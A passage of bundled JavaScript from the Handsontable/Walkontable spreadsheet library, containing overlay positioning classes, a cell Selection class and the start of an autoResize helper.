this.wot.getSetting('fixedRowsBottom'); var totalRows = this.wot.getSetting('totalRows'); newY += this.sumCellSizes(0, sourceRow + 1); newY -= this.wot.wtViewport.getViewportHeight() - this.sumCellSizes(totalRows - fixedRowsBottom, totalRows); // Fix 1 pixel offset when cell is selected newY += 1; } else { newY += this.sumCellSizes(this.wot.getSetting('fixedRowsTop'), sourceRow); } newY += scrollbarCompensation; return this.setScrollPosition(newY); } /** * Gets table parent top position. * * @returns {Number} */ }, { key: "getTableParentOffset", value: function getTableParentOffset() { if (this.mainTableScrollableElement === window) { return this.wot.wtTable.holderOffset.top; } return 0; } /** * Gets the main overlay's vertical scroll position. * * @returns {Number} Main table's vertical scroll position. */ }, { key: "getScrollPosition", value: function getScrollPosition() { return (0, _element.getScrollTop)(this.mainTableScrollableElement); } /** * Redraw borders of selection. * * @param {WalkontableSelection} selection Selection for redraw. */ }, { key: "redrawSelectionBorders", value: function redrawSelectionBorders(selection) { if (selection && selection.cellRange) { var border = selection.getBorder(this.wot); var corners = selection.getCorners(); border.disappear(); border.appear(corners); } } /** * Redrawing borders of all selections. */ }, { key: "redrawAllSelectionsBorders", value: function redrawAllSelectionsBorders() { var _this2 = this; var selections = this.wot.selections; this.redrawSelectionBorders(selections.getCell()); (0, _array.arrayEach)(selections.getAreas(), function (area) { _this2.redrawSelectionBorders(area); }); this.redrawSelectionBorders(selections.getFill()); this.wot.wtTable.wot.wtOverlays.leftOverlay.refresh(); } /** * Adds css classes to hide the header border's header (cell-selection border hiding issue). * * @param {Number} position Header Y position if trimming container is window or scroll top if not. */ }, { key: "adjustHeaderBordersPosition", value: function adjustHeaderBordersPosition(position) { var masterParent = this.wot.wtTable.holder.parentNode; var totalColumns = this.wot.getSetting('totalColumns'); if (totalColumns) { (0, _element.removeClass)(masterParent, 'emptyColumns'); } else { (0, _element.addClass)(masterParent, 'emptyColumns'); } if (this.wot.getSetting('fixedRowsTop') === 0 && this.wot.getSetting('columnHeaders').length > 0) { var previousState = (0, _element.hasClass)(masterParent, 'innerBorderTop'); if (position || this.wot.getSetting('totalRows') === 0) { (0, _element.addClass)(masterParent, 'innerBorderTop'); } else { (0, _element.removeClass)(masterParent, 'innerBorderTop'); } if (!previousState && position || previousState && !position) { this.wot.wtOverlays.adjustElementsSize(); // cell borders should be positioned once again, // because we added / removed 1px border from table header this.redrawAllSelectionsBorders(); } } // nasty workaround for double border in the header, TODO: find a pure-css solution if (this.wot.getSetting('rowHeaders').length === 0) { var secondHeaderCell = this.clone.wtTable.THEAD.querySelectorAll('th:nth-of-type(2)'); if (secondHeaderCell) { for (var i = 0; i < secondHeaderCell.length; i++) { secondHeaderCell[i].style['border-left-width'] = 0; } } } } }]); return TopOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_TOP, TopOverlay); var _default = TopOverlay; exports.default = _default; /***/ }), /* 609 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class TopLeftCornerOverlay */ var TopLeftCornerOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(TopLeftCornerOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function TopLeftCornerOverlay(wotInstance) { var _this; _classCallCheck(this, TopLeftCornerOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(TopLeftCornerOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_TOP_LEFT_CORNER); return _this; } /** * Checks if overlay should be fully rendered * * @returns {Boolean} */ _createClass(TopLeftCornerOverlay, [{ key: "shouldBeRendered", value: function shouldBeRendered() { return !!((this.wot.getSetting('fixedRowsTop') || this.wot.getSetting('columnHeaders').length) && (this.wot.getSetting('fixedColumnsLeft') || this.wot.getSetting('rowHeaders').length)); } /** * Updates the corner overlay position */ }, { key: "resetFixedPosition", value: function resetFixedPosition() { this.updateTrimmingContainer(); if (!this.wot.wtTable.holder.parentNode) { // removed from DOM return; } var overlayRoot = this.clone.wtTable.holder.parentNode; var tableHeight = (0, _element.outerHeight)(this.clone.wtTable.TABLE); var tableWidth = (0, _element.outerWidth)(this.clone.wtTable.TABLE); var preventOverflow = this.wot.getSetting('preventOverflow'); if (this.trimmingContainer === window) { var box = this.wot.wtTable.hider.getBoundingClientRect(); var top = Math.ceil(box.top); var left = Math.ceil(box.left); var bottom = Math.ceil(box.bottom); var right = Math.ceil(box.right); var finalLeft = '0'; var finalTop = '0'; if (!preventOverflow || preventOverflow === 'vertical') { if (left < 0 && right - overlayRoot.offsetWidth > 0) { finalLeft = "".concat(-left, "px"); } } if (!preventOverflow || preventOverflow === 'horizontal') { if (top < 0 && bottom - overlayRoot.offsetHeight > 0) { finalTop = "".concat(-top, "px"); } } (0, _element.setOverlayPosition)(overlayRoot, finalLeft, finalTop); } else { (0, _element.resetCssTransform)(overlayRoot); } overlayRoot.style.height = "".concat(tableHeight === 0 ? tableHeight : tableHeight + 4, "px"); overlayRoot.style.width = "".concat(tableWidth === 0 ? tableWidth : tableWidth + 4, "px"); } }]); return TopLeftCornerOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_TOP_LEFT_CORNER, TopLeftCornerOverlay); var _default = TopLeftCornerOverlay; exports.default = _default; /***/ }), /* 610 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class BottomOverlay */ var BottomOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(BottomOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function BottomOverlay(wotInstance) { var _this; _classCallCheck(this, BottomOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(BottomOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_BOTTOM); return _this; } /** * */ _createClass(BottomOverlay, [{ key: "repositionOverlay", value: function repositionOverlay() { var scrollbarWidth = (0, _element.getScrollbarWidth)(); var cloneRoot = this.clone.wtTable.holder.parentNode; if (this.wot.wtTable.holder.clientHeight === this.wot.wtTable.holder.offsetHeight) { scrollbarWidth = 0; } cloneRoot.style.top = ''; cloneRoot.style.bottom = "".concat(scrollbarWidth, "px"); } /** * Checks if overlay should be fully rendered * * @returns {Boolean} */ }, { key: "shouldBeRendered", value: function shouldBeRendered() { /* eslint-disable no-unneeded-ternary */ return this.wot.getSetting('fixedRowsBottom') ? true : false; } /** * Updates the top overlay position */ }, { key: "resetFixedPosition", value: function resetFixedPosition() { if (!this.needFullRender || !this.wot.wtTable.holder.parentNode) { // removed from DOM return; } var overlayRoot = this.clone.wtTable.holder.parentNode; var headerPosition = 0; overlayRoot.style.top = ''; if (this.wot.wtOverlays.leftOverlay.trimmingContainer === window) { var box = this.wot.wtTable.hider.getBoundingClientRect(); var bottom = Math.ceil(box.bottom); var finalLeft; var finalBottom; var bodyHeight = document.body.offsetHeight; finalLeft = this.wot.wtTable.hider.style.left; finalLeft = finalLeft === '' ? 0 : finalLeft; if (bottom > bodyHeight) { finalBottom = bottom - bodyHeight; } else { finalBottom = 0; } headerPosition = finalBottom; finalBottom += 'px'; overlayRoot.style.top = ''; overlayRoot.style.left = finalLeft; overlayRoot.style.bottom = finalBottom; } else { headerPosition = this.getScrollPosition(); (0, _element.resetCssTransform)(overlayRoot); this.repositionOverlay(); } this.adjustHeaderBordersPosition(headerPosition); } /** * Sets the main overlay's vertical scroll position * * @param {Number} pos */ }, { key: "setScrollPosition", value: function setScrollPosition(pos) { if (this.mainTableScrollableElement === window) { window.scrollTo((0, _element.getWindowScrollLeft)(), pos); } else { this.mainTableScrollableElement.scrollTop = pos; } } /** * Triggers onScroll hook callback */ }, { key: "onScroll", value: function onScroll() { this.wot.getSetting('onScrollVertically'); } /** * Calculates total sum cells height * * @param {Number} from Row index which calculates started from * @param {Number} to Row index where calculation is finished * @returns {Number} Height sum */ }, { key: "sumCellSizes", value: function sumCellSizes(from, to) { var row = from; var sum = 0; var defaultRowHeight = this.wot.wtSettings.settings.defaultRowHeight; while (row < to) { var height = this.wot.wtTable.getRowHeight(row); sum += height === void 0 ? defaultRowHeight : height; row += 1; } return sum; } /** * Adjust overlay root element, childs and master table element sizes (width, height). * * @param {Boolean} [force=false] */ }, { key: "adjustElementsSize", value: function adjustElementsSize() { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; this.updateTrimmingContainer(); if (this.needFullRender || force) { this.adjustRootElementSize(); this.adjustRootChildrenSize(); if (!force) { this.areElementSizesAdjusted = true; } } } /** * Adjust overlay root element size (width and height). */ }, { key: "adjustRootElementSize", value: function adjustRootElementSize() { var masterHolder = this.wot.wtTable.holder; var scrollbarWidth = masterHolder.clientWidth === masterHolder.offsetWidth ? 0 : (0, _element.getScrollbarWidth)(); var overlayRoot = this.clone.wtTable.holder.parentNode; var overlayRootStyle = overlayRoot.style; if (this.trimmingContainer === window) { overlayRootStyle.width = ''; } else { overlayRootStyle.width = "".concat(this.wot.wtViewport.getWorkspaceWidth() - scrollbarWidth, "px"); } this.clone.wtTable.holder.style.width = overlayRootStyle.width; var tableHeight = (0, _element.outerHeight)(this.clone.wtTable.TABLE); overlayRootStyle.height = "".concat(tableHeight === 0 ? tableHeight : tableHeight, "px"); } /** * Adjust overlay root childs size */ }, { key: "adjustRootChildrenSize", value: function adjustRootChildrenSize() { var scrollbarWidth = (0, _element.getScrollbarWidth)(); this.clone.wtTable.hider.style.width = this.hider.style.width; this.clone.wtTable.holder.style.width = this.clone.wtTable.holder.parentNode.style.width; if (scrollbarWidth === 0) { scrollbarWidth = 30; } this.clone.wtTable.holder.style.height = "".concat(parseInt(this.clone.wtTable.holder.parentNode.style.height, 10) + scrollbarWidth, "px"); } /** * Adjust the overlay dimensions and position */ }, { key: "applyToDOM", value: function applyToDOM() { var total = this.wot.getSetting('totalRows'); if (!this.areElementSizesAdjusted) { this.adjustElementsSize(); } if (typeof this.wot.wtViewport.rowsRenderCalculator.startPosition === 'number') { this.spreader.style.top = "".concat(this.wot.wtViewport.rowsRenderCalculator.startPosition, "px"); } else if (total === 0) { // can happen if there are 0 rows this.spreader.style.top = '0'; } else { throw new Error('Incorrect value of the rowsRenderCalculator'); } this.spreader.style.bottom = ''; if (this.needFullRender) { this.syncOverlayOffset(); } } /** * Synchronize calculated left position to an element */ }, { key: "syncOverlayOffset", value: function syncOverlayOffset() { if (typeof this.wot.wtViewport.columnsRenderCalculator.startPosition === 'number') { this.clone.wtTable.spreader.style.left = "".concat(this.wot.wtViewport.columnsRenderCalculator.startPosition, "px"); } else { this.clone.wtTable.spreader.style.left = ''; } } /** * Scrolls vertically to a row * * @param sourceRow {Number} Row index which you want to scroll to * @param [bottomEdge=false] {Boolean} if `true`, scrolls according to the bottom edge (top edge is by default) */ }, { key: "scrollTo", value: function scrollTo(sourceRow, bottomEdge) { var newY = this.getTableParentOffset(); var sourceInstance = this.wot.cloneSource ? this.wot.cloneSource : this.wot; var mainHolder = sourceInstance.wtTable.holder; var scrollbarCompensation = 0; if (bottomEdge && mainHolder.offsetHeight !== mainHolder.clientHeight) { scrollbarCompensation = (0, _element.getScrollbarWidth)(); } if (bottomEdge) { newY += this.sumCellSizes(0, sourceRow + 1); newY -= this.wot.wtViewport.getViewportHeight(); // Fix 1 pixel offset when cell is selected newY += 1; } else { newY += this.sumCellSizes(this.wot.getSetting('fixedRowsBottom'), sourceRow); } newY += scrollbarCompensation; this.setScrollPosition(newY); } /** * Gets table parent top position * * @returns {Number} */ }, { key: "getTableParentOffset", value: function getTableParentOffset() { if (this.mainTableScrollableElement === window) { return this.wot.wtTable.holderOffset.top; } return 0; } /** * Gets the main overlay's vertical scroll position * * @returns {Number} Main table's vertical scroll position */ }, { key: "getScrollPosition", value: function getScrollPosition() { return (0, _element.getScrollTop)(this.mainTableScrollableElement); } /** * Adds css classes to hide the header border's header (cell-selection border hiding issue) * * @param {Number} position Header Y position if trimming container is window or scroll top if not */ }, { key: "adjustHeaderBordersPosition", value: function adjustHeaderBordersPosition(position) { if (this.wot.getSetting('fixedRowsBottom') === 0 && this.wot.getSetting('columnHeaders').length > 0) { var masterParent = this.wot.wtTable.holder.parentNode; var previousState = (0, _element.hasClass)(masterParent, 'innerBorderTop'); if (position) { (0, _element.addClass)(masterParent, 'innerBorderTop'); } else { (0, _element.removeClass)(masterParent, 'innerBorderTop'); } if (!previousState && position || previousState && !position) { this.wot.wtOverlays.adjustElementsSize(); } } // nasty workaround for double border in the header, TODO: find a pure-css solution if (this.wot.getSetting('rowHeaders').length === 0) { var secondHeaderCell = this.clone.wtTable.THEAD.querySelector('th:nth-of-type(2)'); if (secondHeaderCell) { secondHeaderCell.style['border-left-width'] = 0; } } } }]); return BottomOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_BOTTOM, BottomOverlay); var _default = BottomOverlay; exports.default = _default; /***/ }), /* 611 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class TopLeftCornerOverlay */ var BottomLeftCornerOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(BottomLeftCornerOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function BottomLeftCornerOverlay(wotInstance) { var _this; _classCallCheck(this, BottomLeftCornerOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(BottomLeftCornerOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_BOTTOM_LEFT_CORNER); return _this; } /** * Checks if overlay should be fully rendered * * @returns {Boolean} */ _createClass(BottomLeftCornerOverlay, [{ key: "shouldBeRendered", value: function shouldBeRendered() { /* eslint-disable no-unneeded-ternary */ return this.wot.getSetting('fixedRowsBottom') && (this.wot.getSetting('fixedColumnsLeft') || this.wot.getSetting('rowHeaders').length) ? true : false; } /** * Reposition the overlay. */ }, { key: "repositionOverlay", value: function repositionOverlay() { var scrollbarWidth = (0, _element.getScrollbarWidth)(); var cloneRoot = this.clone.wtTable.holder.parentNode; if (this.wot.wtTable.holder.clientHeight === this.wot.wtTable.holder.offsetHeight) { scrollbarWidth = 0; } cloneRoot.style.top = ''; cloneRoot.style.bottom = "".concat(scrollbarWidth, "px"); } /** * Updates the corner overlay position */ }, { key: "resetFixedPosition", value: function resetFixedPosition() { this.updateTrimmingContainer(); if (!this.wot.wtTable.holder.parentNode) { // removed from DOM return; } var overlayRoot = this.clone.wtTable.holder.parentNode; var tableHeight = (0, _element.outerHeight)(this.clone.wtTable.TABLE); var tableWidth = (0, _element.outerWidth)(this.clone.wtTable.TABLE); overlayRoot.style.top = ''; if (this.trimmingContainer === window) { var box = this.wot.wtTable.hider.getBoundingClientRect(); var bottom = Math.ceil(box.bottom); var left = Math.ceil(box.left); var finalLeft; var finalBottom; var bodyHeight = document.body.offsetHeight; if (left < 0) { finalLeft = -left; } else { finalLeft = 0; } if (bottom > bodyHeight) { finalBottom = bottom - bodyHeight; } else { finalBottom = 0; } finalBottom += 'px'; finalLeft += 'px'; overlayRoot.style.top = ''; overlayRoot.style.left = finalLeft; overlayRoot.style.bottom = finalBottom; } else { (0, _element.resetCssTransform)(overlayRoot); this.repositionOverlay(); } overlayRoot.style.height = "".concat(tableHeight === 0 ? tableHeight : tableHeight, "px"); overlayRoot.style.width = "".concat(tableWidth === 0 ? tableWidth : tableWidth, "px"); } }]); return BottomLeftCornerOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_BOTTOM_LEFT_CORNER, BottomLeftCornerOverlay); var _default = BottomLeftCornerOverlay; exports.default = _default; /***/ }), /* 612 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _border = _interopRequireDefault(__webpack_require__(293)); var _coords = _interopRequireDefault(__webpack_require__(75)); var _range = _interopRequireDefault(__webpack_require__(162)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Selection */ var Selection = /*#__PURE__*/ function () { /** * @param {Object} settings * @param {CellRange} cellRange */ function Selection(settings, cellRange) { _classCallCheck(this, Selection); this.settings = settings; this.cellRange = cellRange || null; this.instanceBorders = {}; this.classNames = [this.settings.className]; this.classNameGenerator = this.linearClassNameGenerator(this.settings.className, this.settings.layerLevel); } /** * Each Walkontable clone requires it's own border for every selection. This method creates and returns selection * borders per instance * * @param {Walkontable} wotInstance * @returns {Border} */ _createClass(Selection, [{ key: "getBorder", value: function getBorder(wotInstance) { if (!this.instanceBorders[wotInstance.guid]) { this.instanceBorders[wotInstance.guid] = new _border.default(wotInstance, this.settings); } return this.instanceBorders[wotInstance.guid]; } /** * Checks if selection is empty * * @returns {Boolean} */ }, { key: "isEmpty", value: function isEmpty() { return this.cellRange === null; } /** * Adds a cell coords to the selection * * @param {CellCoords} coords */ }, { key: "add", value: function add(coords) { if (this.isEmpty()) { this.cellRange = new _range.default(coords); } else { this.cellRange.expand(coords); } return this; } /** * If selection range from or to property equals oldCoords, replace it with newCoords. Return boolean * information about success * * @param {CellCoords} oldCoords * @param {CellCoords} newCoords * @returns {Boolean} */ }, { key: "replace", value: function replace(oldCoords, newCoords) { if (!this.isEmpty()) { if (this.cellRange.from.isEqual(oldCoords)) { this.cellRange.from = newCoords; return true; } if (this.cellRange.to.isEqual(oldCoords)) { this.cellRange.to = newCoords; return true; } } return false; } /** * Clears selection * * @returns {Selection} */ }, { key: "clear", value: function clear() { this.cellRange = null; return this; } /** * Returns the top left (TL) and bottom right (BR) selection coordinates * * @returns {Array} Returns array of coordinates for example `[1, 1, 5, 5]` */ }, { key: "getCorners", value: function getCorners() { var topLeft = this.cellRange.getTopLeftCorner(); var bottomRight = this.cellRange.getBottomRightCorner(); return [topLeft.row, topLeft.col, bottomRight.row, bottomRight.col]; } /** * Adds class name to cell element at given coords * * @param {Walkontable} wotInstance Walkontable instance * @param {Number} sourceRow Cell row coord * @param {Number} sourceColumn Cell column coord * @param {String} className Class name * @param {Boolean} [markIntersections=false] If `true`, linear className generator will be used to add CSS classes * in a continuous way. * @returns {Selection} */ }, { key: "addClassAtCoords", value: function addClassAtCoords(wotInstance, sourceRow, sourceColumn, className) { var markIntersections = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false; var TD = wotInstance.wtTable.getCell(new _coords.default(sourceRow, sourceColumn)); if (_typeof(TD) === 'object') { var cellClassName = className; if (markIntersections) { cellClassName = this.classNameGenerator(TD); if (!this.classNames.includes(cellClassName)) { this.classNames.push(cellClassName); } } (0, _element.addClass)(TD, cellClassName); } return this; } /** * Generate helper for calculating classNames based on previously added base className. * The generated className is always generated as a continuation of the previous className. For example, when * the currently checked element has 'area-2' className the generated new className will be 'area-3'. When * the element doesn't have any classNames than the base className will be returned ('area'); * * @param {String} baseClassName Base className to be used. * @param {Number} layerLevelOwner Layer level which the instance of the Selection belongs to. * @return {Function} */ }, { key: "linearClassNameGenerator", value: function linearClassNameGenerator(baseClassName, layerLevelOwner) { // TODO: Make this recursive function Proper Tail Calls (TCO/PTC) friendly. return function calcClassName(element) { var previousIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : -1; if (layerLevelOwner === 0 || previousIndex === 0) { return baseClassName; } var index = previousIndex >= 0 ? previousIndex : layerLevelOwner; var className = baseClassName; index -= 1; var previousClassName = index === 0 ? baseClassName : "".concat(baseClassName, "-").concat(index); if ((0, _element.hasClass)(element, previousClassName)) { var currentLayer = index + 1; className = "".concat(baseClassName, "-").concat(currentLayer); } else { className = calcClassName(element, index); } return className; }; } /** * @param wotInstance */ }, { key: "draw", value: function draw(wotInstance) { if (this.isEmpty()) { if (this.settings.border) { this.getBorder(wotInstance).disappear(); } return; } var renderedRows = wotInstance.wtTable.getRenderedRowsCount(); var renderedColumns = wotInstance.wtTable.getRenderedColumnsCount(); var corners = this.getCorners(); var _corners = _slicedToArray(corners, 4), topRow = _corners[0], topColumn = _corners[1], bottomRow = _corners[2], bottomColumn = _corners[3]; for (var column = 0; column < renderedColumns; column += 1) { var sourceCol = wotInstance.wtTable.columnFilter.renderedToSource(column); if (sourceCol >= topColumn && sourceCol <= bottomColumn) { var TH = wotInstance.wtTable.getColumnHeader(sourceCol); if (TH) { var newClasses = []; if (this.settings.highlightHeaderClassName) { newClasses.push(this.settings.highlightHeaderClassName); } if (this.settings.highlightColumnClassName) { newClasses.push(this.settings.highlightColumnClassName); } (0, _element.addClass)(TH, newClasses); } } } for (var row = 0; row < renderedRows; row += 1) { var sourceRow = wotInstance.wtTable.rowFilter.renderedToSource(row); if (sourceRow >= topRow && sourceRow <= bottomRow) { var _TH = wotInstance.wtTable.getRowHeader(sourceRow); if (_TH) { var _newClasses = []; if (this.settings.highlightHeaderClassName) { _newClasses.push(this.settings.highlightHeaderClassName); } if (this.settings.highlightRowClassName) { _newClasses.push(this.settings.highlightRowClassName); } (0, _element.addClass)(_TH, _newClasses); } } for (var _column = 0; _column < renderedColumns; _column += 1) { var _sourceCol = wotInstance.wtTable.columnFilter.renderedToSource(_column); if (sourceRow >= topRow && sourceRow <= bottomRow && _sourceCol >= topColumn && _sourceCol <= bottomColumn) { // selected cell if (this.settings.className) { this.addClassAtCoords(wotInstance, sourceRow, _sourceCol, this.settings.className, this.settings.markIntersections); } } else if (sourceRow >= topRow && sourceRow <= bottomRow) { // selection is in this row if (this.settings.highlightRowClassName) { this.addClassAtCoords(wotInstance, sourceRow, _sourceCol, this.settings.highlightRowClassName); } } else if (_sourceCol >= topColumn && _sourceCol <= bottomColumn) { // selection is in this column if (this.settings.highlightColumnClassName) { this.addClassAtCoords(wotInstance, sourceRow, _sourceCol, this.settings.highlightColumnClassName); } } var additionalSelectionClass = wotInstance.getSetting('onAfterDrawSelection', sourceRow, _sourceCol, corners, this.settings.layerLevel); if (typeof additionalSelectionClass === 'string') { this.addClassAtCoords(wotInstance, sourceRow, _sourceCol, additionalSelectionClass); } } } wotInstance.getSetting('onBeforeDrawBorders', corners, this.settings.className); if (this.settings.border) { // warning! border.appear modifies corners! this.getBorder(wotInstance).appear(corners); } } }]); return Selection; }(); var _default = Selection; exports.default = _default; /***/ }), /* 613 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; /** * autoResize - resizes a DOM element to the width and height of another DOM element * * Copyright 2014, Marcin Warpechowski * Licensed under the MIT license */ function autoResize() { var defaults = { minHeight: 200, maxHeight: 300, minWidth: 100, maxWidth: 300 }, el, body = document.body, text = document.createTextNode(''), span = document.createElement('SPAN'), observe = function observe(element, event, handler) { element.addEventListener(event, handler, false); }, _unObserve = function unObserve(element, event, handler) { element.removeEventListener(event, handler, false); }, resize = function resize(newChar) { var width, scrollHeight; if (!newChar) { newChar = ""; } else if (!/^[a-zA-Z \.,\\\/\|0-9]$/.test(newChar)) { newChar = "."; } if (text.textContent !== void 0) { text.textContent = el.value + newChar; } else { text.data = el.value + newChar; //IE8 } span.style.fontSize = 